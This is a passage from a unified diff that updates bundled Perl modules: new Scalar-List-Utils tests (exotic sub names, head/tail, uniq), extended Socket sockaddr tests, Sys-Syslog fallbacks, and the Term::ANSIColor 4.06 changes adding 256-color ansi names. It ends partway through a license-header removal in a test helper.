+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/exotic_names.t
@@ -0,0 +1,122 @@
+use strict;
+use warnings;
+
+use Test::More;
+use B 'svref_2object';
+BEGIN { $^P |= 0x210 }
+
+# This is a mess. The stash can supposedly handle Unicode but the behavior
+# is literally undefined before 5.16 (with crashes beyond the basic plane),
+# and remains unclear past 5.16 with evalbytes and feature unicode_eval
+# In any case - Sub::Name needs to *somehow* work with this, so we will do
+# a heuristic with ambiguous eval and looking for octets in the stash
+use if $] >= 5.016, feature => 'unicode_eval';
+
+if ($] >= 5.008) {
+ my $builder = Test::More->builder;
+ binmode $builder->output, ":encoding(utf8)";
+ binmode $builder->failure_output, ":encoding(utf8)";
+ binmode $builder->todo_output, ":encoding(utf8)";
+}
+
+sub compile_named_sub {
+ my ( $fullname, $body ) = @_;
+ my $sub = eval "sub $fullname { $body }" . '\\&{$fullname}';
+ return $sub if $sub;
+ my $e = $@;
+ require Carp;
+ Carp::croak $e;
+}
+
+sub caller3_ok {
+ my ( $sub, $expected, $type, $ord ) = @_;
+
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+
+ my $for_what = sprintf "when it contains \\x%s ( %s )", (
+ ( ($ord > 255)
+ ? sprintf "{%X}", $ord
+ : sprintf "%02X", $ord
+ ),
+ (
+ $ord > 255 ? unpack('H*', pack 'C0U', $ord )
+ : ($ord > 0x1f and $ord < 0x7f) ? sprintf "%c", $ord
+ : sprintf '\%o', $ord
+ ),
+ );
+
+ $expected =~ s/'/::/g;
+
+ # this is apparently how things worked before 5.16
+ utf8::encode($expected) if $] < 5.016 and $ord > 255;
+
+ my $stash_name = join '::', map { $_->STASH->NAME, $_->NAME } svref_2object($sub)->GV;
+
+ is $stash_name, $expected, "stash name for $type is correct $for_what";
+ is $sub->(), $expected, "caller() in $type returns correct name $for_what";
+ SKIP: {
+ skip '%DB::sub not populated when enabled at runtime', 1
+ unless keys %DB::sub;
+ my ($prefix) = $expected =~ /^(.*?test::[^:]+::)/;
+ my ($db_found) = grep /^$prefix/, keys %DB::sub;
+ is $db_found, $expected, "%DB::sub entry for $type is correct $for_what";
+ }
+}
+
+#######################################################################
+
+use Sub::Util 'set_subname';
+
+my @ordinal = ( 1 .. 255 );
+
+# 5.14 is the first perl to start properly handling \0 in identifiers
+unshift @ordinal, 0
+ unless $] < 5.014;
+
+# Unicode in 5.6 is not sane (crashes etc)
+push @ordinal,
+ 0x100, # LATIN CAPITAL LETTER A WITH MACRON
+ 0x498, # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
+ 0x2122, # TRADE MARK SIGN
+ 0x1f4a9, # PILE OF POO
+ unless $] < 5.008;
+
+plan tests => @ordinal * 2 * 3;
+
+my $legal_ident_char = "A-Z_a-z0-9'";
+$legal_ident_char .= join '', map chr, 0x100, 0x498
+ unless $] < 5.008;
+
+my $uniq = 'A000';
+for my $ord (@ordinal) {
+ my $sub;
+ $uniq++;
+ my $pkg = sprintf 'test::%s::SOME_%c_STASH', $uniq, $ord;
+ my $subname = sprintf 'SOME_%s_%c_NAME', $uniq, $ord;
+ my $fullname = join '::', $pkg, $subname;
+
+ $sub = set_subname $fullname => sub { (caller(0))[3] };
+ caller3_ok $sub, $fullname, 'renamed closure', $ord;
+
+ # test that we can *always* compile at least within the correct package
+ my $expected;
+ if ( chr($ord) =~ m/^[$legal_ident_char]$/o ) { # compile directly
+ $expected = "native::$fullname";
+ $sub = compile_named_sub $expected => '(caller(0))[3]';
+ }
+ else { # not a legal identifier but at least test the package name by aliasing
+ $expected = "aliased::native::$fullname";
+ {
+ no strict 'refs';
+ *palatable:: = *{"aliased::native::${pkg}::"};
+ # now palatable:: literally means aliased::native::${pkg}::
+ my $encoded_sub = $subname;
+ utf8::encode($encoded_sub) if "$]" < 5.016 and $ord > 255;
+ ${"palatable::$encoded_sub"} = 1;
+ ${"palatable::"}{"sub"} = ${"palatable::"}{$encoded_sub};
+ # and palatable::sub means aliased::native::${pkg}::${subname}
+ }
+ $sub = compile_named_sub 'palatable::sub' => '(caller(0))[3]';
+ }
+ caller3_ok $sub, $expected, 'natively compiled sub', $ord;
+}
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/head-tail.t b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/head-tail.t
new file mode 100644
index 00000000000..9477275a083
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/head-tail.t
@@ -0,0 +1,97 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use List::Util qw(head tail);
+use Test::More;
+plan tests => 42;
+
+my @ary;
+
+ok(defined &head, 'defined');
+ok(defined &tail, 'defined');
+
+@ary = head 1, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 4 );
+
+@ary = head 2, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+
+@ary = head -1, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+
+@ary = head -2, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 4 );
+
+@ary = head 999, ( 4, 5, 6 );
+is( scalar @ary, 3 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+is( $ary[2], 6 );
+
+@ary = head 0, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+@ary = head 0;
+is( scalar @ary, 0 );
+
+@ary = head 5;
+is( scalar @ary, 0 );
+
+@ary = head -3, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+@ary = head -999, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+eval '@ary = head';
+like( $@, qr{^Not enough arguments for List::Util::head} );
+
+@ary = head 4, ( 4, 5, 6 );
+is( scalar @ary, 3 );
+is( $ary[0], 4 );
+is( $ary[1], 5 );
+is( $ary[2], 6 );
+
+@ary = tail 1, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 6 );
+
+@ary = tail 2, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 5 );
+is( $ary[1], 6 );
+
+@ary = tail -1, ( 4, 5, 6 );
+is( scalar @ary, 2 );
+is( $ary[0], 5 );
+is( $ary[1], 6 );
+
+@ary = tail -2, ( 4, 5, 6 );
+is( scalar @ary, 1 );
+is( $ary[0], 6 );
+
+@ary = tail 0, ( 4, 5, 6 );
+is( scalar @ary, 0 );
+
+@ary = tail 0;
+is( scalar @ary, 0 );
+
+@ary = tail 5;
+is( scalar @ary, 0 );
+
+@ary = tail -3;
+is( scalar @ary, 0 );
+
+@ary = tail -999;
+is( scalar @ary, 0 );
+
+eval '@ary = tail';
+like( $@, qr{^Not enough arguments for List::Util::tail} );
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/rt-96343.t b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/rt-96343.t
new file mode 100644
index 00000000000..4deedcb6765
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/rt-96343.t
@@ -0,0 +1,33 @@
+#!/usr/bin/perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 2;
+
+{
+ use List::Util qw( first );
+
+ my $hash = {
+ 'HellO WorlD' => 1,
+ };
+
+ is( ( first { 'hello world' eq lc($_) } keys %$hash ), "HellO WorlD",
+ 'first (lc$_) perserves value' );
+}
+
+{
+ use List::Util qw( any );
+
+ my $hash = {
+ 'HellO WorlD' => 1,
+ };
+
+ my $var;
+
+ no warnings 'void';
+ any { lc($_); $var = $_; } keys %$hash;
+
+ is( $var, 'HellO WorlD',
+ 'any (lc$_) leaves value undisturbed' );
+}
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/uniq.t b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/uniq.t
new file mode 100644
index 00000000000..8806b8e7d7d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/uniq.t
@@ -0,0 +1,222 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 30;
+use List::Util qw( uniqnum uniqstr uniq );
+
+use Tie::Array;
+
+is_deeply( [ uniqstr ],
+ [],
+ 'uniqstr of empty list' );
+
+is_deeply( [ uniqstr qw( abc ) ],
+ [qw( abc )],
+ 'uniqstr of singleton list' );
+
+is_deeply( [ uniqstr qw( x x x ) ],
+ [qw( x )],
+ 'uniqstr of repeated-element list' );
+
+is_deeply( [ uniqstr qw( a b a c ) ],
+ [qw( a b c )],
+ 'uniqstr removes subsequent duplicates' );
+
+is_deeply( [ uniqstr qw( 1 1.0 1E0 ) ],
+ [qw( 1 1.0 1E0 )],
+ 'uniqstr compares strings' );
+
+{
+ my $warnings = "";
+ local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
+
+ is_deeply( [ uniqstr "", undef ],
+ [ "" ],
+ 'uniqstr considers undef and empty-string equivalent' );
+
+ ok( length $warnings, 'uniqstr on undef yields a warning' );
+
+ is_deeply( [ uniqstr undef ],
+ [ "" ],
+ 'uniqstr on undef coerces to empty-string' );
+}
+
+SKIP: {
+ skip 'Perl 5.007003 with utf8::encode is required', 3 if $] lt "5.007003";
+ my $warnings = "";
+ local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
+
+ my $cafe = "cafe\x{301}";
+
+ is_deeply( [ uniqstr $cafe ],
+ [ $cafe ],
+ 'uniqstr is happy with Unicode strings' );
+
+ SKIP: {
+ skip "utf8::encode not available", 1
+ unless defined &utf8::encode;
+ utf8::encode( my $cafebytes = $cafe );
+
+ is_deeply( [ uniqstr $cafe, $cafebytes ],
+ [ $cafe, $cafebytes ],
+ 'uniqstr does not squash bytewise-equal but differently-encoded strings' );
+ }
+
+ is( $warnings, "", 'No warnings are printed when handling Unicode strings' );
+}
+
+is_deeply( [ uniqnum qw( 1 1.0 1E0 2 3 ) ],
+ [ 1, 2, 3 ],
+ 'uniqnum compares numbers' );
+
+is_deeply( [ uniqnum qw( 1 1.1 1.2 1.3 ) ],
+ [ 1, 1.1, 1.2, 1.3 ],
+ 'uniqnum distinguishes floats' );
+
+# Hard to know for sure what an Inf is going to be. Lets make one
+my $Inf = 0 + 1E1000;
+my $NaN;
+$Inf **= 1000 while ( $NaN = $Inf - $Inf ) == $NaN;
+
+is_deeply( [ uniqnum 0, 1, 12345, $Inf, -$Inf, $NaN, 0, $Inf, $NaN ],
+ [ 0, 1, 12345, $Inf, -$Inf, $NaN ],
+ 'uniqnum preserves the special values of +-Inf and Nan' );
+
+{
+ my $maxuint = ~0;
+ my $maxint = ~0 >> 1;
+ my $minint = -(~0 >> 1) - 1;
+
+ my @nums = ($maxuint, $maxuint-1, -1, $Inf, $NaN, $maxint, $minint, 1 );
+
+ is_deeply( [ uniqnum @nums, 1.0 ],
+ [ @nums ],
+ 'uniqnum preserves uniqness of full integer range' );
+}
+
+{
+ my $warnings = "";
+ local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
+
+ is_deeply( [ uniqnum 0, undef ],
+ [ 0 ],
+ 'uniqnum considers undef and zero equivalent' );
+
+ ok( length $warnings, 'uniqnum on undef yields a warning' );
+
+ is_deeply( [ uniqnum undef ],
+ [ 0 ],
+ 'uniqnum on undef coerces to zero' );
+}
+
+is_deeply( [ uniq () ],
+ [],
+ 'uniq of empty list' );
+
+{
+ my $warnings = "";
+ local $SIG{__WARN__} = sub { $warnings .= join "", @_ };
+
+ is_deeply( [ uniq "", undef ],
+ [ "", undef ],
+ 'uniq distintinguishes empty-string from undef' );
+
+ is_deeply( [ uniq undef, undef ],
+ [ undef ],
+ 'uniq considers duplicate undefs as identical' );
+
+ ok( !length $warnings, 'uniq on undef does not warn' );
+}
+
+is( scalar( uniqstr qw( a b c d a b e ) ), 5, 'uniqstr() in scalar context' );
+
+{
+ package Stringify;
+
+ use overload '""' => sub { return $_[0]->{str} };
+
+ sub new { bless { str => $_[1] }, $_[0] }
+
+ package main;
+
+ my @strs = map { Stringify->new( $_ ) } qw( foo foo bar );
+
+ is_deeply( [ map "$_", uniqstr @strs ],
+ [ map "$_", $strs[0], $strs[2] ],
+ 'uniqstr respects stringify overload' );
+}
+
+{
+ package Numify;
+
+ use overload '0+' => sub { return $_[0]->{num} };
+
+ sub new { bless { num => $_[1] }, $_[0] }
+
+ package main;
+ use Scalar::Util qw( refaddr );
+
+ my @nums = map { Numify->new( $_ ) } qw( 2 2 5 );
+
+ # is_deeply wants to use eq overloading
+ my @ret = uniqnum @nums;
+ ok( scalar @ret == 2 &&
+ refaddr $ret[0] == refaddr $nums[0] &&
+ refaddr $ret[1] == refaddr $nums[2],
+ 'uniqnum respects numify overload' );
+}
+
+{
+ package DestroyNotifier;
+
+ use overload '""' => sub { "SAME" };
+
+ sub new { bless { var => $_[1] }, $_[0] }
+
+ sub DESTROY { ${ $_[0]->{var} }++ }
+
+ package main;
+
+ my @destroyed = (0) x 3;
+ my @notifiers = map { DestroyNotifier->new( \$destroyed[$_] ) } 0 .. 2;
+
+ my @uniqstr = uniqstr @notifiers;
+ undef @notifiers;
+
+ is_deeply( \@destroyed, [ 0, 1, 1 ],
+ 'values filtered by uniqstr() are destroyed' );
+
+ undef @uniqstr;
+ is_deeply( \@destroyed, [ 1, 1, 1 ],
+ 'all values destroyed' );
+}
+
+{
+ "a a b" =~ m/(.) (.) (.)/;
+ is_deeply( [ uniqstr $1, $2, $3 ],
+ [qw( a b )],
+ 'uniqstr handles magic' );
+
+ "1 1 2" =~ m/(.) (.) (.)/;
+ is_deeply( [ uniqnum $1, $2, $3 ],
+ [ 1, 2 ],
+ 'uniqnum handles magic' );
+}
+
+{
+ my @array;
+ tie @array, 'Tie::StdArray';
+ @array = (
+ ( map { ( 1 .. 10 ) } 0 .. 1 ),
+ ( map { ( 'a' .. 'z' ) } 0 .. 1 )
+ );
+
+ my @u = uniq @array;
+ is_deeply(
+ \@u,
+ [ 1 .. 10, 'a' .. 'z' ],
+ 'uniq uniquifies mixed numbers and strings correctly in a tied array'
+ );
+}
diff --git a/gnu/usr.bin/perl/cpan/Socket/t/sockaddr.t b/gnu/usr.bin/perl/cpan/Socket/t/sockaddr.t
index 1ae24a0bbac..9f17afb98fc 100644
--- a/gnu/usr.bin/perl/cpan/Socket/t/sockaddr.t
+++ b/gnu/usr.bin/perl/cpan/Socket/t/sockaddr.t
@@ -7,10 +7,11 @@ use Socket qw(
AF_INET
inet_ntoa inet_aton inet_ntop inet_pton
pack_sockaddr_in unpack_sockaddr_in sockaddr_in
+ pack_sockaddr_un unpack_sockaddr_un
sockaddr_family
sockaddr_un
);
-use Test::More tests => 33;
+use Test::More tests => 46;
# inet_aton, inet_ntoa
{
@@ -80,13 +81,25 @@ SKIP: {
is(sockaddr_family(scalar sockaddr_in(200,v10.30.50.70)), AF_INET,
'sockaddr_in in scalar context packs');
+
+ my $warnings = 0;
+ local $SIG{__WARN__} = sub { $warnings++ };
+ ok( !eval { pack_sockaddr_in 0, undef; 1 },
+ 'pack_sockaddr_in undef addr is fatal' );
+ ok( !eval { unpack_sockaddr_in undef; 1 },
+ 'unpack_sockaddr_in undef is fatal' );
+
+ ok( eval { pack_sockaddr_in undef, "\0\0\0\0"; 1 },
+ 'pack_sockaddr_in undef port is allowed' );
+
+ is( $warnings, 0, 'undefined values produced no warnings' );
}
# pack_sockaddr_in6, unpack_sockaddr_in6
# sockaddr_in6
SKIP: {
- skip "No AF_INET6", 9 unless my $AF_INET6 = eval { Socket::AF_INET6() };
- skip "Cannot pack_sockaddr_in6()", 9 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
+ skip "No AF_INET6", 13 unless my $AF_INET6 = eval { Socket::AF_INET6() };
+ skip "Cannot pack_sockaddr_in6()", 13 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
ok(defined $sin6, 'pack_sockaddr_in6 defined');
@@ -104,12 +117,24 @@ SKIP: {
is(sockaddr_family(scalar Socket::sockaddr_in6(0x1357, "02468ace13579bdf")), $AF_INET6,
'sockaddr_in6 in scalar context packs' );
+
+ my $warnings = 0;
+ local $SIG{__WARN__} = sub { $warnings++ };
+ ok( !eval { Socket::pack_sockaddr_in6( 0, undef ); 1 },
+ 'pack_sockaddr_in6 undef addr is fatal' );
+ ok( !eval { Socket::unpack_sockaddr_in6( undef ); 1 },
+ 'unpack_sockaddr_in6 undef is fatal' );
+
+ ok( eval { Socket::pack_sockaddr_in6( undef, "\0"x16 ); 1 },
+ 'pack_sockaddr_in6 undef port is allowed' );
+
+ is( $warnings, 0, 'undefined values produced no warnings' );
}
-# sockaddr_un
+# sockaddr_un on abstract paths
SKIP: {
# see if we can handle abstract sockets
- skip "Abstract AF_UNIX paths unsupported", 2 unless $^O eq "linux";
+ skip "Abstract AF_UNIX paths unsupported", 7 unless $^O eq "linux";
my $test_abstract_socket = chr(0) . '/org/perl/hello'. chr(0) . 'world';
my $addr = sockaddr_un ($test_abstract_socket);
@@ -118,6 +143,19 @@ SKIP: {
# see if we calculate the address structure length correctly
is(length ($test_abstract_socket) + 2, length $addr, 'sockaddr_un abstract address length');
+
+ my $warnings = 0;
+ local $SIG{__WARN__} = sub { $warnings++ };
+ ok( !eval { pack_sockaddr_un( undef ); 1 },
+ 'pack_sockaddr_un undef path is fatal' );
+ ok( !eval { unpack_sockaddr_un( undef ); 1 },
+ 'unpack_sockaddr_un undef is fatal' );
+
+ is( $warnings, 0, 'undefined values produced no warnings' );
+
+ ok( eval { pack_sockaddr_un( "x" x 0x10000 ); 1 },
+ 'pack_sockaddr_un(very long path) succeeds' ) or diag( "Died: $@" );
+ is( $warnings, 1, 'pack_sockaddr_in(very long path) warns' );
}
# warnings
diff --git a/gnu/usr.bin/perl/cpan/Sys-Syslog/Syslog.xs b/gnu/usr.bin/perl/cpan/Sys-Syslog/Syslog.xs
index d715b45c753..c802413ec09 100644
--- a/gnu/usr.bin/perl/cpan/Sys-Syslog/Syslog.xs
+++ b/gnu/usr.bin/perl/cpan/Sys-Syslog/Syslog.xs
@@ -26,6 +26,9 @@
#else
# if defined(I_SYSLOG) || PATCHLEVEL < 6
# include <syslog.h>
+# else
+# undef HAVE_SYSLOG
+# include "fallback/syslog.h"
# endif
#endif
diff --git a/gnu/usr.bin/perl/cpan/Sys-Syslog/t/syslog.t b/gnu/usr.bin/perl/cpan/Sys-Syslog/t/syslog.t
index 8774677cf73..92af0c7f1cc 100755
--- a/gnu/usr.bin/perl/cpan/Sys-Syslog/t/syslog.t
+++ b/gnu/usr.bin/perl/cpan/Sys-Syslog/t/syslog.t
@@ -2,6 +2,7 @@
use strict;
use Config;
+use FileHandle;
use File::Spec;
use Test::More;
@@ -241,8 +242,9 @@ SKIP: {
# setlogsock() with "stream" and a local file
SKIP: {
my $logfile = "test.log";
- open(LOG, ">$logfile") or skip "can't create file '$logfile': $!", 2;
- close(LOG);
+ my $fh = FileHandle->new;
+ open $fh, ">$logfile" or skip "can't create file '$logfile': $!", 2;
+ close $fh;
$r = eval { setlogsock("stream", $logfile ) } || '';
is( $@, '', "setlogsock() called, with 'stream' and '$logfile' (file exists)" );
ok( $r, "setlogsock() should return true: '$r'" );
@@ -304,7 +306,8 @@ SKIP: {
# create the log file
my $log = "t/stream";
- open my $fh, ">$log" or skip "can't write file '$log': $!", 3;
+ my $fh = FileHandle->new;
+ open $fh, ">$log" or skip "can't write file '$log': $!", 3;
close $fh;
# configure Sys::Syslog to use it
diff --git a/gnu/usr.bin/perl/cpan/Term-ANSIColor/lib/Term/ANSIColor.pm b/gnu/usr.bin/perl/cpan/Term-ANSIColor/lib/Term/ANSIColor.pm
index ace4d471676..730124b7f6d 100644
--- a/gnu/usr.bin/perl/cpan/Term-ANSIColor/lib/Term/ANSIColor.pm
+++ b/gnu/usr.bin/perl/cpan/Term-ANSIColor/lib/Term/ANSIColor.pm
@@ -1,7 +1,7 @@
-# Term::ANSIColor -- Color screen output using ANSI escape sequences.
+# Color screen output using ANSI escape sequences.
#
# Copyright 1996, 1997, 1998, 2000, 2001, 2002, 2005, 2006, 2008, 2009, 2010,
-# 2011, 2012, 2013, 2014, 2015 Russ Allbery <rra@cpan.org>
+# 2011, 2012, 2013, 2014, 2015, 2016 Russ Allbery <rra@cpan.org>
# Copyright 1996 Zenin
# Copyright 2012 Kurt Starsinic <kstarsinic@gmail.com>
#
@@ -23,7 +23,8 @@ use 5.006;
use strict;
use warnings;
-use Carp qw(croak);
+# Also uses Carp but loads it on demand to reduce memory usage.
+
use Exporter ();
# use Exporter plus @ISA instead of use base for 5.6 compatibility.
@@ -40,7 +41,7 @@ our $AUTOLOAD;
# against circular module loading (not that we load any modules, but
# consistency is good).
BEGIN {
- $VERSION = '4.04';
+ $VERSION = '4.06';
# All of the basic supported constants, used in %EXPORT_TAGS.
my @colorlist = qw(
@@ -61,7 +62,7 @@ BEGIN {
# 256-color constants, used in %EXPORT_TAGS.
my @colorlist256 = (
- (map { ("ANSI$_", "ON_ANSI$_") } 0 .. 15),
+ (map { ("ANSI$_", "ON_ANSI$_") } 0 .. 255),
(map { ("GREY$_", "ON_GREY$_") } 0 .. 23),
);
for my $r (0 .. 5) {
@@ -144,8 +145,8 @@ our %ATTRIBUTES = (
# Generating the 256-color codes involves a lot of codes and offsets that are
# not helped by turning them into constants.
-# The first 16 256-color codes are duplicates of the 16 ANSI colors,
-# included for completeness.
+# The first 16 256-color codes are duplicates of the 16 ANSI colors. The rest
+# are RBG and greyscale values.
for my $code (0 .. 15) {
$ATTRIBUTES{"ansi$code"} = "38;5;$code";
$ATTRIBUTES{"on_ansi$code"} = "48;5;$code";
@@ -176,6 +177,15 @@ for my $attr (reverse sort keys %ATTRIBUTES) {
$ATTRIBUTES_R{ $ATTRIBUTES{$attr} } = $attr;
}
+# Provide ansiN names for all 256 characters to provide a convenient flat
+# namespace if one doesn't want to mess with the RGB and greyscale naming. Do
+# this after creating %ATTRIBUTES_R since we want to use the canonical names
+# when reversing a color.
+for my $code (16 .. 255) {
+ $ATTRIBUTES{"ansi$code"} = "38;5;$code";
+ $ATTRIBUTES{"on_ansi$code"} = "48;5;$code";
+}
+
# Import any custom colors set in the environment.
our %ALIASES;
if (exists $ENV{ANSI_COLORS_ALIASES}) {
@@ -207,6 +217,17 @@ if (exists $ENV{ANSI_COLORS_ALIASES}) {
our @COLORSTACK;
##############################################################################
+# Helper functions
+##############################################################################
+
+# Stub to load the Carp module on demand.
+sub croak {
+ my (@args) = @_;
+ require Carp;
+ Carp::croak(@args);
+}
+
+##############################################################################
# Implementation (constant form)
##############################################################################
@@ -233,10 +254,17 @@ our @COLORSTACK;
# make it easier to write scripts that also work on systems without any ANSI
# support, like Windows consoles.
#
+# Avoid using character classes like [:upper:] and \w here, since they load
+# Unicode character tables and consume a ton of memory. All of our constants
+# only use ASCII characters.
+#
## no critic (ClassHierarchies::ProhibitAutoloading)
## no critic (Subroutines::RequireArgUnpacking)
+## no critic (RegularExpressions::ProhibitEnumeratedClasses)
sub AUTOLOAD {
- my ($sub, $attr) = $AUTOLOAD =~ m{ \A ([\w:]*::([[:upper:]\d_]+)) \z }xms;
+ my ($sub, $attr) = $AUTOLOAD =~ m{
+ \A ( [a-zA-Z0-9:]* :: ([A-Z0-9_]+) ) \z
+ }xms;
# Check if we were called with something that doesn't look like an
# attribute.
@@ -295,7 +323,7 @@ sub AUTOLOAD {
## no critic (References::ProhibitDoubleSigils)
goto &$AUTOLOAD;
}
-## use critic (Subroutines::RequireArgUnpacking)
+## use critic
# Append a new color to the top of the color stack and return the top of
# the stack.
@@ -501,13 +529,21 @@ sub coloralias {
return $ATTRIBUTES_R{ $ALIASES{$alias} };
}
}
- if ($alias !~ m{ \A [\w._-]+ \z }xms) {
+
+ # Avoid \w here to not load Unicode character tables, which increases the
+ # memory footprint of this module considerably.
+ #
+ ## no critic (RegularExpressions::ProhibitEnumeratedClasses)
+ if ($alias !~ m{ \A [a-zA-Z0-9._-]+ \z }xms) {
croak(qq{Invalid alias name "$alias"});
} elsif ($ATTRIBUTES{$alias}) {
croak(qq{Cannot alias standard color "$alias"});
} elsif (!exists $ATTRIBUTES{$color}) {
croak(qq{Invalid attribute name "$color"});
}
+ ## use critic
+
+ # Set the alias and return.
$ALIASES{$alias} = $ATTRIBUTES{$color};
return $color;
}
@@ -668,10 +704,12 @@ sixteen-color emulators but use the 256-color escape syntax, C<grey0>
through C<grey23> ranging from nearly black to nearly white, and a set of
RGB colors. The RGB colors are of the form C<rgbI<RGB>> where I<R>, I<G>,
and I<B> are numbers from 0 to 5 giving the intensity of red, green, and
-blue. C<on_> variants of all of these colors are also provided. These
-colors may be ignored completely on non-256-color terminals or may be
-misinterpreted and produce random behavior. Additional attributes such as
-blink, italic, or bold may not work with the 256-color palette.
+blue. The grey and RGB colors are also available as C<ansi16> through
+C<ansi255> if you want simple names for all 256 colors. C<on_> variants
+of all of these colors are also provided. These colors may be ignored
+completely on non-256-color terminals or may be misinterpreted and produce
+random behavior. Additional attributes such as blink, italic, or bold may
+not work with the 256-color palette.
There is unfortunately no way to know whether the current emulator
supports more than eight colors, which makes the choice of colors
@@ -717,13 +755,13 @@ The recognized bright background color attributes (colors 8 to 15) are:
For 256-color terminals, the recognized foreground colors are:
- ansi0 .. ansi15
+ ansi0 .. ansi255
grey0 .. grey23
plus C<rgbI<RGB>> for I<R>, I<G>, and I<B> values from 0 to 5, such as
C<rgb000> or C<rgb515>. Similarly, the recognized background colors are:
- on_ansi0 .. on_ansi15
+ on_ansi0 .. on_ansi255
on_grey0 .. on_grey23
plus C<on_rgbI<RGB>> for I<R>, I<G>, and I<B> values from 0 to 5.
@@ -774,7 +812,9 @@ $Term::ANSIColor::EACHLINE to C<"\n"> to use this feature.
uncolor() performs the opposite translation as color(), turning escape
sequences into a list of strings corresponding to the attributes being set
-by those sequences.
+by those sequences. uncolor() will never return C<ansi16> through
+C<ansi255>, instead preferring the C<grey> and C<rgb> names (and likewise
+for C<on_ansi16> through C<on_ansi255>).
=item colorstrip(STRING[, STRING ...])
@@ -793,8 +833,8 @@ If ATTR is specified, coloralias() sets up an alias of ALIAS for the
standard color ATTR. From that point forward, ALIAS can be passed into
color(), colored(), and colorvalid() and will have the same meaning as
ATTR. One possible use of this facility is to give more meaningful names
-to the 256-color RGB colors. Only alphanumerics, C<.>, C<_>, and C<-> are
-allowed in alias names.
+to the 256-color RGB colors. Only ASCII alphanumerics, C<.>, C<_>, and
+C<-> are allowed in alias names.
If ATTR is not specified, coloralias() returns the standard color name to
which ALIAS is aliased, if any, or undef if ALIAS does not exist.
@@ -848,12 +888,12 @@ described above since a background color is being used.)
If you import C<:constants256>, you can use the following constants
directly:
- ANSI0 .. ANSI15
+ ANSI0 .. ANSI255
GREY0 .. GREY23
RGBXYZ (for X, Y, and Z values from 0 to 5, like RGB000 or RGB515)
- ON_ANSI0 .. ON_ANSI15
+ ON_ANSI0 .. ON_ANSI255
ON_GREY0 .. ON_GREY23
ON_RGBXYZ (for X, Y, and Z values from 0 to 5)
@@ -1095,6 +1135,10 @@ $Term::ANSIColor::AUTOLOCAL was changed to take precedence over
$Term::ANSIColor::AUTORESET, rather than the other way around, in
Term::ANSIColor 4.00, included in Perl 5.17.8.
+C<ansi16> through C<ansi255>, as aliases for the C<rgb> and C<grey>
+colors, and the corresponding C<on_ansi> names and C<ANSI> and C<ON_ANSI>
+constants, were added in Term::ANSIColor 4.06.
+
=head1 RESTRICTIONS
It would be nice if one could leave off the commas around the constants
@@ -1193,7 +1237,7 @@ voice solutions.
Copyright 1996 Zenin
Copyright 1996, 1997, 1998, 2000, 2001, 2002, 2005, 2006, 2008, 2009, 2010,
-2011, 2012, 2013, 2014, 2015 Russ Allbery <rra@cpan.org>
+2011, 2012, 2013, 2014, 2015, 2016 Russ Allbery <rra@cpan.org>
Copyright 2012 Kurt Starsinic <kstarsinic@gmail.com>
@@ -1206,6 +1250,8 @@ The CPAN module L<Term::ExtendedColor> provides a different and more
comprehensive interface for 256-color emulators that may be more
convenient. The CPAN module L<Win32::Console::ANSI> provides ANSI color
(and other escape sequence) support in the Win32 Console environment.
+The CPAN module L<Term::Chrome> provides a different interface using
+objects and operator overloading.
ECMA-048 is available on-line (at least at the time of this writing) at
L<http://www.ecma-international.org/publications/standards/Ecma-048.htm>.
@@ -1220,7 +1266,7 @@ L<http://invisible-island.net/xterm/ctlseqs/ctlseqs.html> (search for
256-color).
The current version of this module is always available from its web site
-at L<http://www.eyrie.org/~eagle/software/ansicolor/>. It is also part of
-the Perl core distribution as of 5.6.0.
+at L<https://www.eyrie.org/~eagle/software/ansicolor/>. It is also part
+of the Perl core distribution as of 5.6.0.
=cut
diff --git a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA.pm b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA.pm
index 12be88bcab2..bcd653240f4 100644
--- a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA.pm
+++ b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA.pm
@@ -5,31 +5,6 @@
# by both C packages with Automake and by stand-alone Perl modules. See
# Test::RRA::Automake for additional functions specifically for C Automake
# distributions.
-#
-# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
-#
-# Written by Russ Allbery <eagle@eyrie.org>
-# Copyright 2013, 2014
-# The Board of Trustees of the Leland Stanford Junior University
-#
-# Permission is hereby granted, free of charge, to any person obtaining a
-# copy of this software and associated documentation files (the "Software"),
-# to deal in the Software without restriction, including without limitation
